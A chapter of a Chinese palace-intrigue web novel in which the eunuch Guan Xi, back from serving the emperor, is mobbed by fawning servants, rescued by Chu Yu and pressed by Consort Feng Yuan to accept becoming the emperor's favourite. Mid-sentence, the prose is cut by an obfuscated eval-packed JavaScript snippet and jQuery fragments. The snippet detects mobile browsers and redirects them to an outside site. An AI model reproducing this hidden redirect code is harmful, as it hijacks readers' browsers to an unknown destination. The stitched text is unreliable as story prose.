离承华宫宫门还有一段距离，关禧便察觉到了异样。
平日里这个时辰，宫门处除了值守的太监，多半是安静或仅有几人低声交谈。可今日，宫门附近的回廊下，檐角后，甚至远处的花圃边，影影绰绰地聚着不少人，目光或明或暗地，都朝着他回来的方向瞟。
待他走近，那些原本散在各处忙碌或歇脚的太监们，约好了般，渐渐围拢过来。
率先迎上来的是刘宝，脸上堆着比往日更夸张三分的笑容，老远就拱手：“哎哟，咱们的离子兄弟回来了！瞧瞧这气色，这精神头，不愧是去过乾元殿，见过大世面的！”
他这一嗓子，像是打开了闸门。平日里与关禧不过点头之交，甚至有些面生的太监，也都挤上前来，七嘴八舌：
“离子哥，快给咱们讲讲，乾元殿里头什么样？陛下的龙书案是不是镶金的？”
“陛下天颜如何？可曾问起咱们承华宫？离子兄弟这回可是在御前露了脸，往后飞黄腾达，可别忘了提携提携兄弟们！”
“就是就是！离子兄弟这通身的气派，一看就是贵人相！陛下定然是赏识的！”
“听说陛下还让离子哥烹茶了？那可是天大的恩典！离子哥真是心灵手巧！”
恭维，试探，羡慕，嫉恨……种种情绪混杂在那些过分热切的话语和眼神里，像一张密不透风的网，将关禧裹在中央，他能闻到这些人身上散发的汗味，能看到他们眼中毫不掩饰的对一步登天可能性的渴望。
被围在中间，耳边嗡嗡作响，那些话语像隔着一层水传来，模糊而嘈杂，他脸上没什么表情，还是那副苍白沉静的模样，只是蹙起的眉心和略显僵硬的站姿，泄露了他此刻的厌烦。
他试图挪动脚步，想从人堆里挤出去，回到他那间至少能暂时隔绝喧嚣的小屋。但刘宝等人堵得严实，嘴上不停，身体有意无意地挡着他的去路。
“各位公公，”关禧终于开口，“奴才不过是奉娘娘之命，去御前听候差遣，做了分内之事，实在当不起各位如此抬爱。陛下天威难测，奴才唯有惶恐，不敢妄言。还请各位行个方便，奴才需去向娘娘复命。”
他话说得谦卑，语气却疏离，将陛下天威和向娘娘复命抬了出来，试图划清界限，也提醒这些人适可而止。
可在可能攀上高枝的诱惑前，这点委婉的拒绝显得苍白无力。
刘宝嘿嘿一笑，伸手想拍关禧的肩膀，被关禧不着痕迹地侧身避开，他也不恼，继续道：“离子兄弟就是太谦虚！复命不急在这一时嘛，咱们兄弟也是关心你，为你高兴！你这一去，可是给咱们承华宫挣了脸面！回头娘娘肯定也有赏赐！到时候可要请咱们喝杯酒水啊！”
旁边有人附和：“对对对！离子哥，日后在御前得了好，手指缝里漏点，就够咱们感恩戴德了！”
关禧的眉头蹙得更紧，指尖在袖中悄悄蜷起，这些人的嘴脸，比乾元殿里皇帝的审视更让他感到一种黏腻的恶心。
一个清冷的声音，像冰棱划破喧嚣，在不远处响起：
“都围在这里做什么？差事都做完了？”
人群瞬间一静，像被掐住了脖子的鸡鸭，讪讪地分开一条道。只见楚玉不知何时已站在回廊的拐角处，依旧是一身淡青色宫装，发髻梳得一丝不苟，脸上没什么表情，手里拿着一卷用锦带系着的文书，像是刚从什么地方过来。
“娘娘正等着小离子回话。”楚玉淡淡道，语气听不出喜怒，“刘宝，前院东侧廊下的地砖松动了三处，你可查验报修了？还有你们，”她目光扫过其他几个探头探脑的太监，“该洒扫的去洒扫，该值守的去值守，聚在这里嚼舌头，是想去慎刑司喝茶？”
几句话，轻描淡写，却让众人脊背一凉。
刘宝等人连忙躬身赔笑：“青黛姐姐恕罪，咱们就是……就是替离子兄弟高兴，这就散了，这就去干活！”说着，再不敢多留，一溜烟地作鸟兽散。
人群散去，方才的喧嚣瞬间沉寂，只余下秋风穿过空荡回廊的细微声响。
关禧站在原地，看向楚玉。她站在几步开外，廊下的阴影将她半边身子笼罩，看不太清神情。
“走吧。”楚玉没多看他，转身，朝承华宫深处走去，步履平稳，“娘娘在西暖阁。”
关禧抿了抿唇，默默跟上。
两人一前一后，隔着不远不近的距离，走在午后寂静的宫道上。脚步声在青石板上发出轻响，彼此可闻，却无人开口。
阳光斜照，将两人的影子拉得长长，时而交叠，时而分开。关禧看着前方楚玉挺直略显单薄的背影，那身淡青色的衣裙在光线下显得有些清冷。他想起那晚暖阁里，那身海棠红色衣裙如何被揉皱褪下，想起她散乱的长发，迷离的眼，以及最后那冰封般的疲惫和那句“忘掉”。
喉咙有些发干，心头像堵着一团乱麻。乾元殿的紧张，归来后的围堵，此刻与楚玉独处的微妙……种种情绪交织翻涌。他知道，有些话必须说，哪怕可能不合时宜，哪怕会再次触碰到两人之间的禁忌。
他加快半步，走到与楚玉并肩的位置，声音干涩：
“楚玉。”
楚玉脚步未停，侧脸看了他一眼，示意自己在听。
关禧吸了口气，目光落在前方地面的青砖缝隙里，斟酌着词句：“方才……多谢你解围。还有……那天晚上，在西暖阁……我……我很抱歉。”
他终究是说出了“抱歉”这两个字。为那晚的失控，为可能带给她的伤害，也为此刻两人之间这诡异难言的气氛。他不知道楚玉会如何反应，或许会再次用沉默将他推开，或许会干脆否认那晚的一切。
楚玉的脚步顿了一下，又立刻恢复如常。她没有回应。
两人又沉默地走了一段路，绕过一处假山，西暖阁所在的僻静院落已在望。
楚玉忽然开口，声音比刚才少了几分刻意的冷硬：
“御前之事，娘娘自会问你。该说的说，不该说的，一个字也别多提。”她像是在交代差事，又补充了一句，语气有些难以捉摸，“陛下既让你明日再去，便是暂无异动。做好你分内的事，其他的……勿要多想。”
她避开了西暖阁的话题，只谈御前。但这已是一种态度的松动，至少，她没有再次用忘掉来斩断一切。
关禧还欲再言，楚玉已抬手示意他噤声，西暖阁到了。
院门虚掩，楚玉上前轻轻推开，侧身让关禧先进。
关禧迈步进去，院中那株老桂花树开得正盛，浓郁甜香扑面而来，与记忆中暖阁内甜靡的暖香截然不同，却莫名让他心跳漏了一拍。他不由自主地瞥了一眼西暖阁的门窗，那里静悄悄的，仿佛那晚的激烈只是一场幻梦。
楚玉跟在他身后进了院子，反手将院门掩上，隔绝了外界的视线与声响。她走到西暖阁门前，转过身，面对着关禧。
两人站在桂树的阴影下，花香馥郁，秋阳透过枝叶缝隙，在她脸上投下斑驳的光影。她看着关禧，目光在他有些苍白的脸上停留片刻，极轻地叹了口气。
“进去吧。”她低声道，抬手替他理了理方才被人群挤得微乱的衣领边缘，动作很快，一触即分，“娘娘问什么，便答什么。记住，在娘娘面前，你只是小离子。”
她的指尖触碰带来的凉意，与她话语中那丝几乎难以捕捉近乎叮嘱的意味，让关禧怔了一瞬。他还未来得及细品其中含义，楚玉已转过身，叩响了西暖阁的门扉。
“娘娘，小离子来了。”
“进来。”
门内传来冯媛的声音，比平日的温婉多了几分不易察觉的沉。
楚玉推开门，侧身让开关禧，自己并未跟入，只垂眸立在门边，将内里的空间全然留给了冯媛与关禧。
西暖阁内，那日残留的甜靡暖香早已散尽，取而代之的是冯媛惯用的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030356|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
檀香，窗扉半开，泄入天光与微凉的秋风，驱散了最后一丝暧昧的痕迹。
贵妃榻上铺设一新，云锦垫褥光洁平整。
冯媛斜倚在榻上，手里闲闲握着一卷书，身上是一袭家常的藕荷色襦裙，外罩月白比甲，发髻松松挽着，簪一支碧玉簪，看起来慵懒随意，可那双看向关禧的眼睛，却清明锐利，不着痕迹地将他从头到脚扫视了一遍。
关禧跪下行礼：“奴才小离子，给娘娘请安。奉旨前往乾元殿伺候笔墨，特来向娘娘复命。”
“起来吧。”冯媛放下书卷，指尖在光滑的紫檀木榻沿上轻轻一点，“陛下……可还满意？”
这话问得轻描淡写，却重若千钧。关禧站起身，垂着眼，将乾元殿中研磨，烹茶，应答的情形拣紧要的，语气平稳地回禀了一遍，末了道：“陛下让奴才明日申时再去伺候。”
冯媛静静听着，脸上看不出什么情绪，待他说完，才“嗯”了一声，“研磨细致，烹茶尚可，应对也算得体。看来这些时日的调理和教导，没有白费。”她顿了顿，目光在他鸦青色的太监服上停留，“这身衣裳，倒是衬你。只是去了御前，终究是素净了些。本宫记得库里还有几匹内造的新料子，颜色更沉稳些，等会让青黛找出来，给你裁两身新的。”
“奴才谢娘娘恩典。”关禧躬身，心头无半分喜悦，这恩典是标记，是提醒，更是将他进一步推向那潭深水的助力。
“恩典谈不上，”冯媛端起手边一盏温茶，慢慢抿了一口，眸光透过氤氲的水汽看向他，“是你自己争气。能在御前留下印象，让陛下开口叫你再去，这便是你的造化。只是……”她话锋一转，语气微沉，“造化弄人，也最是考验心性。御前不比承华宫，一言一行，无数双眼睛盯着。今日你回来时的阵仗，想必也见识了。”
“奴才明白。奴才定当谨言慎行，绝不敢给娘娘招惹是非。”
“是非？”冯媛唇角勾起一抹极淡的弧度，“有时候，是非不是你想避就能避开的。尤其是当你有了旁人没有的造化时。”她放下茶盏，声音更缓，字字清晰，“陛下为何独独留意你？是因为你差事办得好？还是因为王元宝的眼光，因为本宫的调理，因为……你这张脸？”
关禧手指蜷缩，指甲抵住掌心。
“本宫不妨把话说得更明白些。”冯媛坐直了身子，那股慵懒气息散去，属于昭仪的威仪悄然弥漫，“陛下对你有意，这是你的机会，也是你的劫数。用得好，你或许能在这深宫里挣出一条不太一样的前路，连带着承华宫也能多一分倚仗。用得不好，或是心生妄念，或是行差踏错……那便是万丈深渊，粉身碎骨，连本宫也未必拉得住你。”
她盯着关禧的眼睛，不容他躲闪：“本宫最后问你一次，那条路，你是走，还是不走？”
走，便是彻底接受礼物的身份，沿着冯媛与楚玉铺就的阶梯，走向皇帝的龙榻。不走？此刻还有不走的余地吗？乾元殿的传唤已下，无数双眼睛已将他看作即将攀上高枝的贵人，冯媛的布局也已到了关键处。不走，便是废子，下场或许比曹旺之流更不堪。
关禧抬起眼，对上冯媛深邃的目光，他缓缓跪下，这一次，脊背挺得笔直，声音清脆：
“奴才愿为娘娘前驱，谨遵娘娘教诲。”
冯媛看着他，良久，轻轻吐出一口气，那口气里似乎卸下了什么，又似乎压上了更重的东西，“很好。”她重新靠回软枕，恢复了那副温婉模样，“记住你今日的话。起来吧。”
关禧起身，垂手肃立。
“青黛。”冯媛唤道。
一直静立在门外的楚玉应声而入，步履无声，淡青色的裙摆拂过光洁的地面。
“带他去量尺寸，裁衣。明日申时前，务必收拾妥当。”冯媛吩咐道，目光在楚玉平静的脸上停留一瞬，又转向关禧，“下去吧。好生准备。”
“是，奴才告退。”